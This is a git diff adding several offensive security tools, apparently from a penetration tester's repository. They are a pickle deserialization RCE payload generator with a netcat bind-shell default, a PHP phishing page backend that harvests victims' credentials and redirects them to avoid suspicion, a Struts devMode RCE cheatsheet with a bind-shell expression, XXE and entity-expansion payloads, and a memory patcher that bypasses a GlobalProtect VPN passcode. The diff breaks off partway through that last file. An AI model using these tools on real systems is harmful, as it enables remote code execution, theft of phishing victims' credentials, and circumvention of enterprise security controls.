* 16 + 7 - len(line)) + ' | ' + + for j in range(n-16, n): + if j >= len(data): break + c = data[j] if not (ord(data[j]) < 0x20 or ord(data[j]) > 0x7e) else '.' + line += '%c' % c + + lines.append(line) + + return '\n'.join(lines) + +def main(): + info('\n\tPadding Oracle test-cases generator') + info('\tMariusz B. / mgeeky, 2016\n') + + if len(sys.argv) < 2: + warning('usage: padding-oracle-tests.py [blocksize]') + sys.exit(0) + + data = sys.argv[1].strip() + bsize = int(sys.argv[2]) if len(sys.argv) > 2 else 0 + + try: + tester = PaddingOracleTestCasesGenerator(data, bsize) + except Exception as e: + error(str(e)) + return False + + s = hex_dump(tester.data) + info('Decoded data:\n%s\n' % s) + + cases = tester.generate_test_cases() + + for case in cases: + if DEBUG: + dbg('...' + case[-48:]) + else: + print case + + info('\n[+] Generated in total: %d test cases for %s block sizes.' \ + % (len(cases), ', '.join([str(e) for e in sorted(tester.blocksizes)]))) + + +if __name__ == '__main__': + main() diff --git a/web/pickle-payload.py b/web/pickle-payload.py new file mode 100644 index 0000000..c71f92f --- /dev/null +++ b/web/pickle-payload.py @@ -0,0 +1,20 @@ +#!/usr/bin/python +# +# Pickle deserialization RCE payload. +# To be invoked with command to execute at it's first parameter. +# Otherwise, the default one will be used. +# + +import cPickle +import os +import sys +import base64 + +DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444" +COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND + +class PickleRce(object): + def __reduce__(self): + return (os.system,(COMMAND,)) + +print base64.b64encode(cPickle.dumps(PickleRce())) diff --git a/web/post.php b/web/post.php new file mode 100644 index 0000000..5e73e6b --- /dev/null +++ b/web/post.php @@ -0,0 +1,247 @@ + action parameter. Such action + * parameter could be set like this: + * + * + * + * and script named as 'post.php' to get it working. Additional further configurations + * can be made in the section below. + * + * When crafting HTML login page, one can use the PHP session variable: + * $_SESSION['phished_already'] + * to add forced redirection to the target site. + * + * Authors: + * Mariusz B. / mgeeky + * Jakub M. / unkn0w + * + * Version: + * v0.3 + * + * Changelog: + * - v0.1 - init + * - v0.2 - added metadata gathering + * - v0.2.1 - unkn0w adds redirection to faked 'wrong password' message + * - v0.3 - added CSV reporting method + */ + +try { + + /* ============================ CONFIGURATION ============================ */ + + // Filename for harvested data. For CSV logging method, the '.csv' fill be appended. + // Remember to keep the filename not guessable, to avoid forceful browsing against your own + // phishing box! + $harvest_filename = 'harvester_phishing_campaign_1234567890.txt'; + + // Target to redirect to after collecting input data. + $redirect = 'https://www.website.to/redirect.to?after=input&data=was&sent='; + + // Resend post data to the redirect address? + $resend_post_data = false; + + // Specifies how many login attempts user have to try before redirection to real website (must be set to 1 or more) + $password_retry = 2; + + // URL for "wrong password" message redirection (applicable only if $password_retry is set to more than 1). + // May be relative URL or full one pointing at the target application's error message directly. + // Warning: If left empty - the page will be simply reloaded. + $wrong_password_url = ''; // '/index.php?wrong_pass=1'; + + // If this is set to true, everyone regardless of their user agents will be logged. + // Otherwise, only valid, recognized user agents (exlucding bots, or ones who tamper that + // setting) will be logged. + $log_everyone = false; + + // Set this variable to: + // - 'csv' - to collect results in a CSV format. + // - 'print_r' - to use the PHP's 'print_r' function. + // - 'both' - to create two files and use them both. + $log_format = 'both'; + + $csv_separator = ' | '; + + // Specifies whether to include in harvesting log metadata such as User Agent, + // Remote Addr (victim IP) and so on. + $show_meta_data = true; + + // Exclude specific clients based on their VISITOR_ID value (16 bytes values): + $exclude_visitors = array('1234567890abcdef'); + + + /* ============================ CONFIGURATION ============================ */ + + @error_reporting(0); + + session_start(); + setcookie(session_name(), session_id(), time() + 7776000); // cookie for 90 days + + if (empty($_POST)) { + header("Location: index.html"); + exit(); + } + + $_SESSION['phishing_counter'] = isset($_SESSION['phishing_counter']) ? $_SESSION['phishing_counter'] + 1 : 1; + + function array_clone($array) { + return array_map(function($element) { + return ((is_array($element)) + ? call_user_func(__FUNCTION__, $element) + : ((is_object($element)) + ? clone $element + : $element + ) + ); + }, $array); + } + + function collect_columns_array($arraylog) { + $columns = array(); + + foreach($arraylog as $k => $v) { + if ( $k == 'meta' ) { + foreach($arraylog[$k] as $k2 => $v2) { + array_push($columns, $k2); + } + } else { + array_push($columns, $k); + } + } + return $columns; + } + + function log_file_init($arraylog) { + global $log_format; + global $harvest_filename; + global $csv_separator; + + if ($log_format == 'both' || $log_format == 'print_r') { + file_put_contents($harvest_filename, ''); + } + if ($log_format == 'both' || $log_format == 'csv' ) { + $columns = implode($csv_separator, collect_columns_array($arraylog)); + file_put_contents($harvest_filename . '.csv', $columns . "\n"); + } + } + + function log_append($arraylog) { + global $log_format; + global $harvest_filename; + global $csv_separator; + + if ($log_format == 'both' || $log_format == 'print_r') { + file_put_contents($harvest_filename, print_r($arraylog, true), FILE_APPEND); + } + if ($log_format == 'both' || $log_format == 'csv' ) { + $columns = collect_columns_array($arraylog); + $line = ''; + foreach ($columns as $col) { + if (array_key_exists($col, $arraylog['meta'])) { + $line .= $arraylog['meta'][$col] . $csv_separator; + } else { + $line .= $arraylog[$col] . $csv_separator; + } + } + + $line = substr($line, 0, -strlen($csv_separator)); + file_put_contents($harvest_filename . '.csv', $line . "\n", FILE_APPEND); + } + } + + $to_report_array = array_clone($_POST); + $to_report_array['meta'] = array(); + + if ( array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER) + && $_SERVER['HTTP_X_FORWARDED_FOR'] + && $_SERVER['HTTP_X_FORWARDED_FOR'] !== $_SERVER['REMOTE_ADDR'] + ){ + $to_report_array['meta']['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; + } + + $to_copy_from_server = array("REMOTE_ADDR", "HTTP_REFERER", "HTTP_USER_AGENT", "HTTP_HOST"); + for( $i = 0; $i < count($to_copy_from_server); $i++ ) { + $to_report_array['meta'][$to_copy_from_server[$i]] = $_SERVER[$to_copy_from_server[$i]]; + } + + $date = date('Y-m-d H:i:s'); + $to_report_array['meta']['TIMESTAMP'] = $date; + + // Add information about password-entry attempt to the logfile. + $to_report_array['meta']['COMMENT'] = "Password retries for that user: " . $_SESSION['phishing_counter'] . ". "; + + if ($_SESSION['phishing_counter'] >= $password_retry) { + $to_report_array['meta']['COMMENT'] .= 'Considered phished (+). '; + } + + // Valid user agents only + $len = strlen($_SERVER['HTTP_USER_AGENT']); + $found = 0; + $keywords = array('Chrome', 'Chromium', 'CriOS', 'Fedora', 'Firefox', 'Gecko', + 'Intel', 'iPhone', 'KHTML', 'Linux', 'Macintosh', 'Mobile', + 'Mozilla', 'Safari', 'Trident', 'Ubuntu', 'Version', 'Win64', + 'Windows', 'WOW64', 'x86_64', 'Android', 'Phone'); + + for ($i = 0; $i < count($keywords); $i++) { + if(stripos($_SERVER['HTTP_USER_AGENT'], $keywords[$i]) !== false) { + $found++; + } + } + + // Computing unique per visitor ID to be able to grep harvest log based on that ID. + $exclude = false; + $id = sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['HTTP_ACCEPT'] . + $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_LANGUAGE']); + + $to_report_array['meta']['VISITOR_ID'] = substr($id, 0, 16); + + if(in_array($to_report_array['meta']['VISITOR_ID'], $exclude_visitors)) { + $exclude = true; + } + + if (!$exclude && ($log_everyone || ($found >= 3 && $len > 60))) { + if(!file_exists($harvest_filename)) { + log_file_init($to_report_array); + } + log_append($to_report_array); + } + + if(!$show_meta_data) { + unset($to_report_array['meta']); + } + + if ($password_retry > 1) { + if ($_SESSION['phishing_counter'] < $password_retry) { + $url = (!empty($wrong_password_url))? $wrong_password_url : $_SERVER['PHP_SELF']; + header('Location: ' . $url); + die(); + } + } + + if ($_SESSION['phishing_counter'] >= $password_retry) { + $_SESSION['phished_already'] = 1; + throw new Exception('Already phished.'); // redirects to target page. + } + + header('Content-Type: text/html; charset=utf-8'); + if (!$resend_post_data) { + echo ''; + } else { + echo ""; + echo ""; + foreach($_POST as $a => $b ) { + echo ""; + } + echo ""; + } + +} catch (Exception $e) { + // We can't take the risk of not redirecting victim into desired website, + // because such victim could become anxious or investigate the issue further + // thus compromising our campaign. That's the purpose of the try..catch statement + // applied here. + echo ''; +} + +?> diff --git a/web/reencode.py b/web/reencode.py new file mode 100644 index 0000000..7235d3e --- /dev/null +++ b/web/reencode.py @@ -0,0 +1,424 @@ +#!/usr/bin/python + +# +# ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding. +# To be used for instance in fuzzing purposes. +# +# NOTICE: +# If the input string's length is divisble by 4, Base64 will be able to decode it - thus, the script +# would wrongly assume it has been encoded using Base64. The same goes for Hex decoding. +# In order to tackle this issue, the script builds up a tree of possible encoding schemes and then evaluate +# that tree by choosing the best fitting encodings path (with most points counted upon resulted text's length, +# entropy and printable'ity). +# +# Requires: +# - jwt +# - anytree +# +# Mariusz B., 2018 +# + +import re +import sys +import jwt +import math +import base64 +import urllib +import string +import anytree +import binascii +from collections import Counter + + +class ReEncoder: + + # Switch this to show some verbose informations about decoding process. + DEBUG = False + + # ============================================================ + # ENCODERS SECTION + # + + class Encoder: + def name(self): + raise NotImplementedError + + def check(self, data): + raise NotImplementedError + + def encode(self, data): + raise NotImplementedError + + def decode(self, data): + raise NotImplementedError + + class NoneEncoder(Encoder): + def name(self): + return 'None' + + def check(self, data): + if not data: + return False + return True + + def encode(self, data): + return data + + def decode(self, data): + return data + + class URLEncoder(Encoder): + def name(self): + return 'URLEncoder' + + def check(self, data): + if urllib.quote(urllib.unquote(data)) == data and (urllib.unquote(data) != data): + return True + + if re.match(r'^(?:%[0-9a-f]{2})+$', data, re.I): + return True + + return False + + def encode(self, data): + return urllib.quote(data) + + def decode(self, data): + return urllib.unquote(data) + + class HexEncoder(Encoder): + def name(self): + return 'HexEncoded' + + def check(self, data): + m = re.match(r'^[0-9a-f]+$', data, re.I) + if m: + return True + return False + + def encode(self, data): + return binascii.hexlify(data).strip() + + def decode(self, data): + return binascii.unhexlify(data).strip() + + class Base64Encoder(Encoder): + def name(self): + return 'Base64' + + def check(self, data): + try: + if base64.b64encode(base64.b64decode(data)) == data: + return True + except: + pass + return False + + def encode(self, data): + return base64.b64encode(data) + + def decode(self, data): + return base64.b64decode(data) + + class Base64URLSafeEncoder(Encoder): + def name(self): + return 'Base64URLSafe' + + def check(self, data): + try: + if base64.urlsafe_b64encode(base64.urlsafe_b64decode(data)) == data: + return True + except: + pass + return False + + def encode(self, data): + return base64.urlsafe_b64encode(data) + + def decode(self, data): + return base64.urlsafe_b64decode(data) + + class JWTEncoder(Encoder): + secret = '' + + def name(self): + return 'JWT' + + def check(self, data): + try: + jwt.decode(data, verify = False) + return True + except jwt.exceptions.DecodeError: + return False + + def encode(self, data): + return jwt.encode(data, JWTEncoder.secret) + + def decode(self, data): + return jwt.decode(data, verify = False) + + + # ============================================================ + # ENCODING DETECTION IMPLEMENTATION + # + + MaxEncodingDepth = 20 + + def __init__(self): + self.encodings = [] + self.encoders = ( + ReEncoder.URLEncoder(), + ReEncoder.HexEncoder(), + ReEncoder.Base64Encoder(), + ReEncoder.Base64URLSafeEncoder(), + ReEncoder.JWTEncoder(), + + # None must always be the last detector + ReEncoder.NoneEncoder(), + ) + self.encodersMap = {} + self.data = '' + + for encoder in self.encoders: + self.encodersMap[encoder.name()] = encoder + + @staticmethod + def log(text): + if ReEncoder.DEBUG: + print(text) + + def verifyEncodings(self, encodings): + for encoder in encodings: + if type(encoder) == str: + if not encoder in self.encodersMap.keys(): + raise Exception("Passed unknown encoder's name.") + elif not issubclass(ReEncoder.Encoder, encoder): + raise Exception("Passed encoder is of unknown type.") + + def generateEncodingTree(self, data): + step = 0 + maxSteps = len(self.encoders) * ReEncoder.MaxEncodingDepth + + peeledBefore = 0 + peeledOff = 0 + currData = data + + while step < maxSteps: + peeledBefore = peeledOff + for encoder in self.encoders: + step += 1 + + ReEncoder.log('[.] Trying: {} (peeled off: {}). Current form: "{}"'.format(encoder.name(), peeledOff, currData)) + + if encoder.check(currData): + if encoder.name() == 'None': + continue + + if encoder.name().lower().startswith('base64') and (len(currData) % 4 == 0): + ReEncoder.log('[.] Unclear situation whether input ({}) is Base64 encoded. Branching.'.format( + currData + )) + + yield ('None', currData, True) + + if encoder.name().lower().startswith('hex') and (len(currData) % 2 == 0): + ReEncoder.log('[.] Unclear situation whether input ({}) is Hex encoded. Branching.'.format( + currData + )) + + yield ('None', currData, True) + + ReEncoder.log('[+] Detected encoder: {}'.format(encoder.name())) + + currData = encoder.decode(currData) + yield (encoder.name(), currData, False) + + peeledOff += 1 + + break + + if (peeledOff - peeledBefore) == 0: + break + + def formEncodingCandidates(self, root): + iters = [[node for node in children] for children in anytree.LevelOrderGroupIter(root)] + + candidates = [] + + for node in iters[-1]: + name = node.name + decoded = node.decoded + + ReEncoder.log('[.] Candidate for best decode using {}: "{}"...'.format( + name, decoded[:20] + )) + + candidates.append([name, decoded, 0.0]) + + return candidates + + @staticmethod + def entropy(data, unit='natural'): + base = { + 'shannon' : 2., + 'natural' : math.exp(1), + 'hartley' : 10. + } + + if len(data) <= 1: + return 0 + + counts = Counter() + + for d in data: + counts[d] += 1 + + probs = [float(c) / len(data) for c in counts.values()] + probs = [p for p in probs if p > 0.] + + ent = 0 + + for p in probs: + if p > 0.: + ent -= p * math.log(p, base[unit]) + + return ent + + def evaluateEncodingTree(self, root): + weights = { + 'printableChars' : 10.0, + 'highEntropy' : 4.0, + 'length' : 1.0 + } + + candidates = self.formEncodingCandidates(root) + maxCandidate = 0 + + for i in range(len(candidates)): + candidate = candidates[i] + + name = candidate[0] + decoded = candidate[1] + points = float(candidate[2]) + + ReEncoder.log('[=] Evaluating candidate: {} (data: "{}")'.format( + name, decoded + )) + + # Step 1: Adding points for printable percentage. + printables = sum([int(x in string.printable) for x in decoded]) + printablePoints = weights['printableChars'] * (float(printables) / float(len(decoded))) + ReEncoder.log('\tAdding {} points for printable characters.'.format(printablePoints)) + points += printablePoints + + # Step 4: If encoder is Base64 and was previously None + # - then length and entropy of previous values should be of slighly lower weights + if name.lower() == 'none' \ + and len(candidates) > i+1 \ + and candidates[i+1][0].lower().startswith('base64'): + entropyPoints = ReEncoder.entropy(decoded) * (weights['highEntropy'] * 0.75) + lengthPoints = float(len(decoded)) * (weights['length'] * 0.75) + else: + entropyPoints = ReEncoder.entropy(decoded) * weights['highEntropy'] + lengthPoints = float(len(decoded)) * weights['length'] + + # Step 2: Add points for entropy + ReEncoder.log('\tAdding {} points for high entropy.'.format(entropyPoints)) + points += entropyPoints + + # Step 3: Add points for length + ReEncoder.log('\tAdding {} points for length.'.format(lengthPoints)) + points += lengthPoints + + ReEncoder.log('\tScored in total: {} points.'.format(points)) + candidates[i][2] = points + + if points > candidates[maxCandidate][2]: + maxCandidate = i + + winningCandidate = candidates[maxCandidate] + winningPaths = anytree.search.findall_by_attr( + root, + name = 'decoded', + value = winningCandidate[1] + ) + + ReEncoder.log('[?] Other equally good candidate paths:\n' + str(winningPaths)) + winningPath = winningPaths[0] + + ReEncoder.log('[+] Winning decode path is:\n{}'.format(str(winningPath))) + + encodings = [x.name for x in winningPath.path if x != 'None'] + + return encodings + + def process(self, data): + root = anytree.Node('None', decoded = data) + prev = root + + for (name, curr, branch) in self.generateEncodingTree(data): + ReEncoder.log('[*] Generator returned: ("{}", "{}", {})'.format( + name, curr[:20], str(branch) + )) + + currNode = anytree.Node(name, parent = prev, decoded = curr) + if branch: + pass + else: + prev = currNode + + for pre, fill, node in anytree.RenderTree(root): + ReEncoder.log("%s%s (%s)" % (pre, node.name, node.decoded[:20].decode('ascii', 'ignore'))) + + self.encodings = self.evaluateEncodingTree(root) + ReEncoder.log('[+] Selected encodings: {}'.format(str(self.encodings))) + + def decode(self, data, encodings = []): + if not encodings: + self.process(data) + else: + self.verifyEncodings(encodings) + self.encodings = encodings + + for encoderName in self.encodings: + d = self.encodersMap[encoderName].decode(data) + data = d + + return data + + def encode(self, data, encodings = []): + if encodings: + encodings.reverse() + self.verifyEncodings(encodings) + self.encodings = encodings + + for encoderName in self.encodings[::-1]: + e = self.encodersMap[encoderName].encode(data) + data = e + + return data + +def main(argv): + sample = '4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935' + + if len(argv) != 2: + print('Usage: reencode.py ') + print('Using sample: "{}"'.format(sample)) + text = sample + else: + text = argv[1] + + decoder = ReEncoder() + decoded = decoder.decode(text) + + print('(1) DECODED TEXT: "{}"'.format(decoded)) + + decoded = 'FOO ' + decoded + ' BAR' + + print('\n(2) TO BE ENCODED TEXT: "{}"'.format(decoded)) + + decoded = decoder.encode(decoded) + print('(3) ENCODED FORM: "{}"'.format(decoded)) + +if __name__ == '__main__': + main(sys.argv) \ No newline at end of file diff --git a/web/struts-cheatsheet.md b/web/struts-cheatsheet.md new file mode 100644 index 0000000..fe43daf --- /dev/null +++ b/web/struts-cheatsheet.md @@ -0,0 +1,67 @@ +## Apache Struts Remote Code Execution cheatsheet + +Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture. +When having the application developed in so-called **_devMode_** as set in the _struts.xml_ file: + +``` ``` + +Then the middleware will be handling additional parameters passed to every function invocation. + +### Testing for Struts devMode enabled + +The most straightforward way to test for *devMode* enabled setting is to find an example JSP/WAR/JavaEE application within the server and then passed there specially crafted parameters. +The below list of commands is supported by the *devMode* in Struts: +- `debug=command` +- `debug=xml` +- `debug=console` +- `debug=browser` + +There are the below most recognizeable example applications often deployed on the Tomcat webserver: + +- the Struts 1: + - struts-blank + - struts-cookbook + - struts-el-example + - struts-examples + - struts-faces-example + - struts-faces-example2 + - struts-mailreader + - struts-scripting-mailreader +- the Struts 2: + - struts2-blank + - struts2-rest-showcase + - struts2-mailreader + - struts2-showcase + - struts2-portlet + +By choosing one of them, testing whether it exists on target web server and passing special parameters, we can assure the Struts framework has been configured to use *devMode*. +``` +http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1 +``` +Firstly, we can see that those parameters are to be passed to the **.action** requests. Secondly, the above URL utilizes *struts2-blank* example webapplication, that may not be found on test server. In such situation one should go and test the very same parameters for actually deployed application. + +There are those two most important parameters: +- `debug=command` +- `expression=` + +The *expression* parameter is where we will type our **Remote Code Execution** _payload_ . +When the above invocation will result with **2** in response body - we will be sure that the expression got evaluated, and thus the application is vulnerable to RCE. + +### Utilizing RCE + +Now, in order to execute one command, and get the first line out of it - there can be used the following expression: +``` +?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine() +``` + +Where we have invocation of **uname -a** command within linux boxes. +In order to drop a bind shell on the server, the following method could be leveraged: + +1. Pass the command as a String array: +..`new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}` +2. Invoke the above expression with the array being passed to the *ProcessBuilder* +``` +?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine() +``` + +After that, the *bash* shell will bind to the 4444 port. \ No newline at end of file diff --git a/web/xml-attacks.md b/web/xml-attacks.md new file mode 100644 index 0000000..aa2e16f --- /dev/null +++ b/web/xml-attacks.md @@ -0,0 +1,221 @@ + + +## XML Vulnerabilities + + +XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls. + +The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable. + +--- + +### How to avoid XML vulnerabilities + +Best practices + +- Don't allow DTDs +- Don't expand entities +- Don't resolve externals +- Limit parse depth +- Limit total input size +- Limit parse time +- Favor a SAX or iterparse-like parser for potential large data +- Validate and properly quote arguments to XSL transformations and XPath queries +- Don't use XPath expression from untrusted sources +- Don't apply XSL transformations that come untrusted sources + +(based on [Brad Hill's Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf)) + +--- + +### Billion Laughs + +The [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack – also known as exponential entity expansion – uses multiple levels of nested entities. Each entity refers to another entity several times, and the final entity definition contains a small string. The exponential expansion results in several gigabytes of text and consumes lots of memory and CPU time. + +``` + + + + + + + + + + + + +]> +&lol9; +``` + +**YAML bomb**: + +``` +a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] +b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] +c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] +d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] +e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] +f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] +g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] +h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] +i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] +``` + +--- + +### Quadratic Blowup + +A quadratic blowup attack is similar to a [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn’t as efficient as the exponential case but it avoids triggering parser countermeasures that forbid deeply-nested entities. + +If an attacker defines the entity `"&x;"` as 55,000 characters long, and refers to that entity 55,000 times inside the `"DoS"` element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed. + +**genQuadraticBlowup.py** +``` +#!/usr/bin/python3 + +NUM = 55000 + +def main(): + entity = 'A' * NUM + refs = '&x;' * NUM + templ = ''' + + ]> + {entityReferences} + '''.format(entity=entity, entityReferences=refs) + + print(templ) + +if __name__ == '__main__': + main() +``` + +--- + +### XML External Entities expansion / XXE + +An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. + + +``` + + + ]>&xxe; +``` + +``` + + + ]>&xxe; +``` + +``` + + + +]> +&sp; +``` + +``` + + + ]>&xxe; +``` + +Other XXE payloads worth testing: +- [XXE-Payloads](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d) +- [Blind-XXE-Payload](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882) + +--- + +### DTD Retrieval + +This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well. + +``` + + + + + text + +``` + +--- + +### Decompression Bomb + +Decompression bombs (aka [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML libraries that can parse compressed XML streams such as gzipped HTTP streams or LZMA-compressed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more. + +``` +$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz +$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy +$ ls -sh zeros.* +1020K zeros.gz +148K zeros.xy +``` + + +--- + +### XPath Injection + +XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page [Avoid the dangers of XPath injection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html) list some ramifications of XPath injections. + +--- + +### XInclude + +XML Inclusion is another way to load and include external files: + +``` + + + +``` + + +This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories. + +--- + +### XSL Transformation + +You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython. + +Example from [Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf) for Xalan-J: + +``` + + + + + + + + +``` + +--- + +### SOURCES + +- https://github.com/tiran/defusedxml +- https://docs.python.org/3/library/xml.html#xml-vulnerabilities +- https://www.darknet.org.uk/2014/08/xml-quadratic-blowup-attack-blow-wordpress-drupal/ +- https://en.wikipedia.org/wiki/Billion_laughs_attack \ No newline at end of file diff --git a/windows/GlobalProtectDisable.cpp b/windows/GlobalProtectDisable.cpp new file mode 100644 index 0000000..63fa9b6 --- /dev/null +++ b/windows/GlobalProtectDisable.cpp @@ -0,0 +1,355 @@ +/* + * Global Protect VPN Application patcher allowing the + * Administrator user to disable VPN without Passcode. + * + * It does this by patching process memory and thus allowing to + * disable VPN without entering proper password. + * + * Tested on: + * GlobalProtect client 3.1.6.19 + * Palo Alto Networks + * + * Mariusz B. / mgeeky, '18 +**/ + +#include "windows.h" +#include +#include +#include + +using namespace std; + +#define _DEBUG + +const wchar_t *processName = L"PanGPA.exe"; + +/* +00007FF621B7D02A | 85 C0 | test eax, eax | +00007FF621B7D02C | 78 61 | js pangpa.7FF621B7D08F | +00007FF621B7D02E | 48 8B CB | mov rcx, rbx | +00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 | +00007FF621B7D036 | 85 C0 | test eax, eax | +00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F + ^--- This is byte to be patched. +*/ +const BYTE patternToFind[] = { + 0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8, + 0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0 +}; + +// jne pangpa.7FF621B7D08F +const BYTE bytesToBeReplaced[] = { + 0x75, 0x55 +}; + +// je pangpa.7FF621B7D08F +const BYTE replacingBytes[] = { + 0x74, 0x55 +}; + +struct moduleInfo { + UINT64 baseAddr; + DWORD baseSize; +}; + +bool alreadyPatched = false; + + +void dbg(const wchar_t * format, ...) { + wchar_t buffer[4096]; + va_list args; + va_start (args, format); + vswprintf (buffer,format, args); + + wcout << L"[dbg] " << buffer << endl; + va_end (args); +} + +void msg(const wchar_t * format, ...) { + wchar_t buffer[4096]; + va_list args; + va_start (args, format); + vswprintf (buffer,format, args); + + MessageBoxW(NULL, buffer, L"GlobalProtectDisable", 0); + va_end (args); +} + +BOOL setPrivilege( + HANDLE hToken, // access token handle + LPCTSTR lpszPrivilege, // name of privilege to enable/disable + BOOL bEnablePrivilege // to enable or disable privilege +){ + + TOKEN_PRIVILEGES tp; + LUID luid; + + if ( !LookupPrivilegeValue( + NULL, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + &luid ) ) // receives LUID of privilege + { + printf("LookupPrivilegeValue error: %u\n", GetLastError() ); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if (bEnablePrivilege) + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + else + tp.Privileges[0].Attributes = 0; + + // Enable the privilege or disable all privileges. + if ( !AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + sizeof(TOKEN_PRIVILEGES), + (PTOKEN_PRIVILEGES) NULL, + (PDWORD) NULL) ){ + printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){ + printf("The token does not have the specified privilege. \n"); + return FALSE; + } + + return TRUE; +} + +DWORD findProcess(const wchar_t *procname) { + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hSnapshot) { + PROCESSENTRY32W pe32; + pe32.dwSize = sizeof(PROCESSENTRY32W); + + if(Process32FirstW(hSnapshot, &pe32)) { + do { + if (wcsicmp(procname, pe32.szExeFile) == 0) { + return pe32.th32ProcessID; + } + } while(Process32NextW(hSnapshot, &pe32)); + } + CloseHandle(hSnapshot); + } + + return 0; +} + +BOOL getProcessModule( + const wchar_t * modName, + DWORD pid, + struct moduleInfo *out +) { + dbg(L"PID = %d", pid); + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); + + if(hSnapshot != INVALID_HANDLE_VALUE) { + MODULEENTRY32W me32; + me32.dwSize = sizeof(MODULEENTRY32W); + + if(Module32FirstW(hSnapshot, &me32)) { + do { + dbg(L"Module name: %ls", me32.szModule); + + if (wcsicmp(modName, me32.szModule) == 0) { + memset(out, 0, sizeof(struct moduleInfo)); + + out->baseAddr = (UINT64)me32.modBaseAddr; + out->baseSize = me32.modBaseSize; + + return true; + } + } while(Module32NextW(hSnapshot, &me32)); + } + else { + dbg(L"Module32FirstW failed."); + } + + CloseHandle(hSnapshot); + } + else { + dbg(L"CreateToolhelp32Snapshot failed."); + } + + return false; +} + +BOOL patchProcessMemory( + const wchar_t * procName, + DWORD pid, + HANDLE hProcess, + const BYTE * patternToFind, + size_t patternToFindNum, + const BYTE * bytesToBeReplaced, + size_t bytesToBeReplacedNum, + const BYTE * replacingBytes, + size_t replacingBytesNum +) { + + struct moduleInfo mod; + if (!getProcessModule(procName, pid, &mod)) { + dbg(L"Could not find process module. Error: %d", GetLastError()); + return false; + } + + dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize); + + BYTE page[4096]; + + SIZE_T fetched = 0; + UINT64 addr = mod.baseAddr; + + while( fetched < mod.baseSize) { + memset(page, 0, sizeof(page)); + + SIZE_T out = 0; + + if(ReadProcessMemory( + hProcess, + reinterpret_cast(addr), + page, + sizeof(page), + &out + )) { + + UINT64 foundAddr = 0; + + for(size_t m = 0; m < sizeof(page); m++) { + if (page[m] == patternToFind[0]) { + bool found = 